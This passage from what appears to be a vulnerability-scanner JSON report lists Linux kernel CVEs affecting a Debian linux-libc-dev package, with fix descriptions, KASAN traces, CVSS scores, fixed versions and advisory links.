"https://www.cve.org/CVERecord?id=CVE-2026-43427" ], "PublishedDate": "2026-05-08T15:16:54.867Z", "LastModifiedDate": "2026-11-06T16:18:39.813Z" }, { "VulnerabilityID": "CVE-2026-43449", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43449", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d927d5b96e02137ad5894ac9807bea794f2b49f1c8be176dc2403b32ba00463b", "Title": "kernel: Linux kernel: NVMe PCI driver slab-out-of-bounds can lead to privilege escalation or denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-pci: Fix slab-out-of-bounds in nvme_dbbuf_set\n\ndev-\u003eonline_queues is a count incremented in nvme_init_queue. Thus,\nvalid indices are 0 through dev-\u003eonline_queues − 1.\n\nThis patch fixes the loop condition to ensure the index stays within the\nvalid range. Index 0 is excluded because it is the admin queue.\n\nKASAN splat:\n\n==================================================================\nBUG: KASAN: slab-out-of-bounds in nvme_dbbuf_free drivers/nvme/host/pci.c:377 [inline]\nBUG: KASAN: slab-out-of-bounds in nvme_dbbuf_set+0x39c/0x400 drivers/nvme/host/pci.c:404\nRead of size 2 at addr ffff88800592a574 by task kworker/u8:5/74\n\nCPU: 0 UID: 0 PID: 74 Comm: kworker/u8:5 Not tainted 6.19.0-dirty #10 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\nWorkqueue: nvme-reset-wq nvme_reset_work\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xea/0x150 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x5d0 mm/kasan/report.c:482\n kasan_report+0xdc/0x110 mm/kasan/report.c:595\n __asan_report_load2_noabort+0x18/0x20 mm/kasan/report_generic.c:379\n nvme_dbbuf_free drivers/nvme/host/pci.c:377 [inline]\n nvme_dbbuf_set+0x39c/0x400 drivers/nvme/host/pci.c:404\n nvme_reset_work+0x36b/0x8c0 drivers/nvme/host/pci.c:3252\n process_one_work+0x956/0x1aa0 kernel/workqueue.c:3257\n process_scheduled_works kernel/workqueue.c:3340 [inline]\n worker_thread+0x65c/0xe60 kernel/workqueue.c:3421\n kthread+0x41a/0x930 kernel/kthread.c:463\n ret_from_fork+0x6f8/0x8c0 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n \u003c/TASK\u003e\n\nAllocated by task 34 on cpu 1 at 4.241550s:\n kasan_save_stack+0x2c/0x60 mm/kasan/common.c:57\n kasan_save_track+0x1c/0x70 mm/kasan/common.c:78\n kasan_save_alloc_info+0x3c/0x50 mm/kasan/generic.c:570\n poison_kmalloc_redzone mm/kasan/common.c:398 [inline]\n __kasan_kmalloc+0xb5/0xc0 mm/kasan/common.c:415\n kasan_kmalloc include/linux/kasan.h:263 [inline]\n __do_kmalloc_node mm/slub.c:5657 [inline]\n __kmalloc_node_noprof+0x2bf/0x8d0 mm/slub.c:5663\n kmalloc_array_node_noprof include/linux/slab.h:1075 [inline]\n nvme_pci_alloc_dev drivers/nvme/host/pci.c:3479 [inline]\n nvme_probe+0x2f1/0x1820 drivers/nvme/host/pci.c:3534\n local_pci_probe+0xef/0x1c0 drivers/pci/pci-driver.c:324\n pci_call_probe drivers/pci/pci-driver.c:392 [inline]\n __pci_device_probe drivers/pci/pci-driver.c:417 [inline]\n pci_device_probe+0x743/0x920 drivers/pci/pci-driver.c:451\n call_driver_probe drivers/base/dd.c:583 [inline]\n really_probe+0x29b/0xb70 drivers/base/dd.c:661\n __driver_probe_device+0x3b0/0x4a0 drivers/base/dd.c:803\n driver_probe_device+0x56/0x1f0 drivers/base/dd.c:833\n __driver_attach_async_helper+0x155/0x340 drivers/base/dd.c:1159\n async_run_entry_fn+0xa6/0x4b0 kernel/async.c:129\n process_one_work+0x956/0x1aa0 kernel/workqueue.c:3257\n process_scheduled_works kernel/workqueue.c:3340 [inline]\n worker_thread+0x65c/0xe60 kernel/workqueue.c:3421\n kthread+0x41a/0x930 kernel/kthread.c:463\n ret_from_fork+0x6f8/0x8c0 arch/x86/kernel/process.c:158\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n\nThe buggy address belongs to the object at ffff88800592a000\n which belongs to the cache kmalloc-2k of size 2048\nThe buggy address is located 244 bytes to the right of\n allocated 1152-byte region [ffff88800592a000, ffff88800592a480)\n\nThe buggy address belongs to the physical page:\npage: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x5928\nhead: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0\nanon flags: 0xfffffc0000040(head|node=0|zone=1|lastcpupid=0x1fffff)\npage_type: f5(slab)\nraw: 000fffffc0000040 ffff888001042000 0000000000000000 dead000000000001\nraw: 0000000000000000 0000000000080008 00000000f5000000 0000000000000000\nhead: 000fffffc0000040 ffff888001042000 00000\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43449", "https://git.kernel.org/linus/b4e78f1427c7d6859229ae9616df54e1fc05a516%20%287.0-rc4%29", "https://git.kernel.org/stable/c/2b9d605c3f0d3262142f196249cd3bd58c857c71", "https://git.kernel.org/stable/c/328c551f0cc81ee776b186b86cc6e5253bb6fda7", "https://git.kernel.org/stable/c/50bad78f03a02d3c0f228edf9912b494d3e7acb9", "https://git.kernel.org/stable/c/78279d2d74c58a0ed64e43cf601a02649771182e", "https://git.kernel.org/stable/c/83e6edd6358326c9c2de31a54bb4a1ec50703f1f", "https://git.kernel.org/stable/c/86183d550559e45e07059bbdf17331fea469e38c", "https://git.kernel.org/stable/c/b4e78f1427c7d6859229ae9616df54e1fc05a516", "https://git.kernel.org/stable/c/d7990c936e25f484b61a5adeeadc1d290a9fd16e", "https://linux.oracle.com/cve/CVE-2026-43449.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050857-CVE-2026-43449-d2ed@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43449", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43449" ], "PublishedDate": "2026-05-08T15:16:57.477Z", "LastModifiedDate": "2026-11-06T16:18:41.813Z" }, { "VulnerabilityID": "CVE-2026-43450", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43450", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3e74b3a3b581afb1fc0f12897cc2d592933b60a88acc392afe678bb881f25918", "Title": "kernel: netfilter: nfnetlink_cthelper: fix OOB read in nfnl_cthelper_dump_table()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nfnetlink_cthelper: fix OOB read in nfnl_cthelper_dump_table()\n\nnfnl_cthelper_dump_table() has a 'goto restart' that jumps to a label\ninside the for loop body. When the \"last\" helper saved in cb-\u003eargs[1]\nis deleted between dump rounds, every entry fails the (cur != last)\ncheck, so cb-\u003eargs[1] is never cleared. The for loop finishes with\ncb-\u003eargs[0] == nf_ct_helper_hsize, and the 'goto restart' jumps back\ninto the loop body bypassing the bounds check, causing an 8-byte\nout-of-bounds read on nf_ct_helper_hash[nf_ct_helper_hsize].\n\nThe 'goto restart' block was meant to re-traverse the current bucket\nwhen \"last\" is no longer found, but it was placed after the for loop\ninstead of inside it. Move the block into the for loop body so that\nthe restart only occurs while cb-\u003eargs[0] is still within bounds.\n\n BUG: KASAN: slab-out-of-bounds in nfnl_cthelper_dump_table+0x9f/0x1b0\n Read of size 8 at addr ffff888104ca3000 by task poc_cthelper/131\n Call Trace:\n nfnl_cthelper_dump_table+0x9f/0x1b0\n netlink_dump+0x333/0x880\n netlink_recvmsg+0x3e2/0x4b0\n sock_recvmsg+0xde/0xf0\n __sys_recvfrom+0x150/0x200\n __x64_sys_recvfrom+0x76/0x90\n do_syscall_64+0xc3/0x6e0\n\n Allocated by task 1:\n __kvmalloc_node_noprof+0x21b/0x700\n nf_ct_alloc_hashtable+0x65/0xd0\n nf_conntrack_helper_init+0x21/0x60\n nf_conntrack_init_start+0x18d/0x300\n nf_conntrack_standalone_init+0x12/0xc0", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 2, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:51035", "https://access.redhat.com/security/cve/CVE-2026-43450", "https://bugzilla.redhat.com/2454320", "https://bugzilla.redhat.com/2468228", "https://bugzilla.redhat.com/show_bug.cgi?id=2454320", "https://bugzilla.redhat.com/show_bug.cgi?id=2468228", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23415", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43450", "https://errata.almalinux.org/9/ALSA-2026-51035.html", "https://errata.rockylinux.org/RLSA-2026:51035", "https://git.kernel.org/linus/6dcee8496d53165b2d8a5909b3050b62ae71fe89%20%287.0-rc4%29", "https://git.kernel.org/stable/c/05018cd9370f77bb18fbf6e15ff33c7a06f10b3c", "https://git.kernel.org/stable/c/0605e1985a95d4334a67869aee45a47e82301abf", "https://git.kernel.org/stable/c/3cc328ffc32ddb389cba7b78b6aa95d995c2876e", "https://git.kernel.org/stable/c/4a1f6ee69267a5f524102c028981410eeacfa3da", "https://git.kernel.org/stable/c/61b3a1f8621df1a5928118313f133996f6a786db", "https://git.kernel.org/stable/c/6dcee8496d53165b2d8a5909b3050b62ae71fe89", "https://git.kernel.org/stable/c/894c5780ddadd5fde0e16f66587918e6be1504c4", "https://git.kernel.org/stable/c/92441f6d9405a0c18d03f278b395e782f79a4a30", "https://linux.oracle.com/cve/CVE-2026-43450.html", "https://linux.oracle.com/errata/ELSA-2026-61887-0.html", "https://lore.kernel.org/linux-cve-announce/2026050857-CVE-2026-43450-8919@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43450", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43450" ], "PublishedDate": "2026-05-08T15:16:57.643Z", "LastModifiedDate": "2026-11-06T16:18:42.04Z" }, { "VulnerabilityID": "CVE-2026-43453", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43453", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:052c4d54506217ccef6e2539a50c27430a2371621c52fb73cb10736240bd229e", "Title": "In the Linux kernel, the following vulnerability has been resolved: n ...", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_set_pipapo: fix stack out-of-bounds read in pipapo_drop()\n\npipapo_drop() passes rulemap[i + 1].n to pipapo_unmap() as the\nto_offset argument on every iteration, including the last one where\ni == m-\u003efield_count - 1. This reads one element past the end of the\nstack-allocated rulemap array (declared as rulemap[NFT_PIPAPO_MAX_FIELDS]\nwith NFT_PIPAPO_MAX_FIELDS == 16).\n\nAlthough pipapo_unmap() returns early when is_last is true without\nusing the to_offset value, the argument is evaluated at the call site\nbefore the function body executes, making this a genuine out-of-bounds\nstack read confirmed by KASAN:\n\n BUG: KASAN: stack-out-of-bounds in pipapo_drop+0x50c/0x57c [nf_tables]\n Read of size 4 at addr ffff8000810e71a4\n\n This frame has 1 object:\n [32, 160) 'rulemap'\n\n The buggy address is at offset 164 -- exactly 4 bytes past the end\n of the rulemap array.\n\nPass 0 instead of rulemap[i + 1].n on the last iteration to avoid\nthe out-of-bounds read.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H", "V3Score": 6.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43453", "https://git.kernel.org/linus/d6d8cd2db236a9dd13dbc2d05843b3445cc964b5%20%287.0-rc4%29", "https://git.kernel.org/stable/c/0a55d62cdb628923d8a21724374a70c76ac7d19d", "https://git.kernel.org/stable/c/1957e793196e7f8557374fd4eda53abcbb42e1c0", "https://git.kernel.org/stable/c/324b749aa5b2d516ccfab933df9d3f56e7807f5f", "https://git.kernel.org/stable/c/57fb87ca095d5127cd7a27583b8ec43dcf7c9e9e", "https://git.kernel.org/stable/c/60c1d18781e37bfb96290b86510eb01c5fa24d75", "https://git.kernel.org/stable/c/d6d8cd2db236a9dd13dbc2d05843b3445cc964b5", "https://git.kernel.org/stable/c/dfbdac719198778b581bc0dd055df2542edb8c62", "https://git.kernel.org/stable/c/e047f6fbb975f685d6c9fcef95b3b7787a79b46d", "https://linux.oracle.com/cve/CVE-2026-43453.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026050858-CVE-2026-43453-fbba@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43453", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43453" ], "PublishedDate": "2026-05-08T15:16:58.027Z", "LastModifiedDate": "2026-11-06T16:18:42.417Z" }, { "VulnerabilityID": "CVE-2026-43458", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43458", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:244e980f0d0fa2e374d0a3bf5822022ae94e1856b1afb3dbf64615485c77bba6", "Title": "kernel: serial: caif: hold tty-\u003elink reference in ldisc_open and ser_release", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: caif: hold tty-\u003elink reference in ldisc_open and ser_release\n\nA reproducer triggers a KASAN slab-use-after-free in pty_write_room()\nwhen caif_serial's TX path calls tty_write_room(). The faulting access\nis on tty-\u003elink-\u003eport.\n\nHold an extra kref on tty-\u003elink for the lifetime of the caif_serial line\ndiscipline: get it in ldisc_open() and drop it in ser_release(), and\nalso drop it on the ldisc_open() error path.\n\nWith this change applied, the reproducer no longer triggers the UAF in\nmy testing.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-43458", "https://git.kernel.org/linus/288598d80a068a0e9281de35bcb4ce495f189e2a%20%287.0-rc4%29", "https://git.kernel.org/stable/c/23a3ac2e2262a291498567418227b99e1f3606b1", "https://git.kernel.org/stable/c/27e43356d0defb9fc7fa25265219a3ffeb7b3e98", "https://git.kernel.org/stable/c/288598d80a068a0e9281de35bcb4ce495f189e2a", "https://git.kernel.org/stable/c/35b58d3bc716ebb9ebd10fe1cac8c1177242511c", "https://git.kernel.org/stable/c/52135420e9f75853ea0c6cea7b736e3e98495f7d", "https://git.kernel.org/stable/c/8460187b4852fd00bd1c76394358053f3fa4d089", "https://git.kernel.org/stable/c/97a0bb491cae39478c6225381f14e9ac67b7bba7", "https://git.kernel.org/stable/c/ca2ceba983bb23ea0202c2882d963253416654a3", "https://lore.kernel.org/linux-cve-announce/2026050800-CVE-2026-43458-d72f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43458", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-43458" ], "PublishedDate": "2026-05-08T15:16:58.63Z", "LastModifiedDate": "2026-06-17T10:49:38.41Z" }, { "VulnerabilityID": "CVE-2026-43494", "VendorIDs": [ "DSA-6305-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.90-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43494", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8d84efc4b484a9740b0bc3a237e6ddcba784ec1317b624df38796b4ca3eccbe4", "Title": "kernel: net/rds: reset op_nents when zerocopy page pin fails", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/rds: reset op_nents when zerocopy page pin fails\n\nWhen iov_iter_get_pages2() fails in rds_message_zcopy_from_user(),\nthe pinned pages are released with put_page(), and\nrm-\u003edata.op_mmp_znotifier is cleared. But we fail to properly\nclear rm-\u003edata.op_nents.\n\nLater when rds_message_purge() is called from rds_sendmsg() the\ncleanup loop iterates over the incorrectly non zero number of\nop_nents and frees them again.\n\nFix this by properly resetting op_nents when it should be in\nrds_message_zcopy_from_user().", "Severity": "HIGH", "CweIDs": [ "CWE-415", "CWE-1341" ], "VendorSeverity": { "amazon": 3, "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/21/2", "https://access.redhat.com/security/cve/CVE-2026-43494", "https://bugzilla.redhat.com/show_bug.cgi?id=2480434", "https://git.kernel.org/linus/e174929793195e0cd6a4adb0cad731b39f9019b4%20%287.1-rc4%29", "https://git.kernel.org/stable/c/03014551938a0887fa55f18ce49b70158a9c0113", "https://git.kernel.org/stable/c/0bbbff00a15b1df2cac9014d6cf4b6890f473353", "https://git.kernel.org/stable/c/290e833d1acb1093bc121fcdc97f5e6161157479", "https://git.kernel.org/stable/c/640e37f58f991546a87540d067279c2c1fa9fe51", "https://git.kernel.org/stable/c/9115669faedccdda100428e2d26fd0aac8c50799", "https://git.kernel.org/stable/c/c6e51512a784c4a7b86e1a044988696e3b3721fa", "https://git.kernel.org/stable/c/d84ce1786ce40fdd3dd98db47aec5527817e1ef6", "https://git.kernel.org/stable/c/e174929793195e0cd6a4adb0cad731b39f9019b4", "https://github.com/v12-security/pocs/tree/main/pintheft", "https://lore.kernel.org/linux-cve-announce/2026052130-CVE-2026-43494-a65a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-43494", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43494.json", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8389-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8616-1", "https://www.cve.org/CVERecord?id=CVE-2026-43494" ], "PublishedDate": "2026-05-21T12:16:19.957Z", "LastModifiedDate": "2026-10-19T20:18:18.62Z" }, { "VulnerabilityID": "CVE-2026-43499", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-43499", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2fc89a9f7b8d83de7cfb8a00481f37eb9c32213fe77de72d657c5a2588d5d76b", "Title": "kernel: rtmutex: Use waiter::task instead of current in remove_waiter()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrtmutex: Use waiter::task instead of current in remove_waiter()\n\nremove_waiter() is used by the slowlock paths, but it is also used for\nproxy-lock rollback in rt_mutex_start_proxy_lock() when invoked from\nfutex_requeue().\n\nIn the latter case waiter::task is not current, but remove_waiter()\noperates on current for the dequeue operation. That results in several\nproblems:\n\n 1) the rbtree dequeue happens without waiter::task::pi_lock being held\n\n 2) the waiter task's pi_blocked_on state is not cleared, which leaves a\n dangling pointer primed for UAF around.\n\n 3) rt_mutex_adjust_prio_chain() operates on the wrong top priority waiter\n task\n\nUse waiter::task instead of current in all related operations in\nremove_waiter() to cure those problems.\n\n[ tglx: Fixup rt_mutex_adjust_prio_chain(), add a comment and amend the\n \tchangelog ]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, 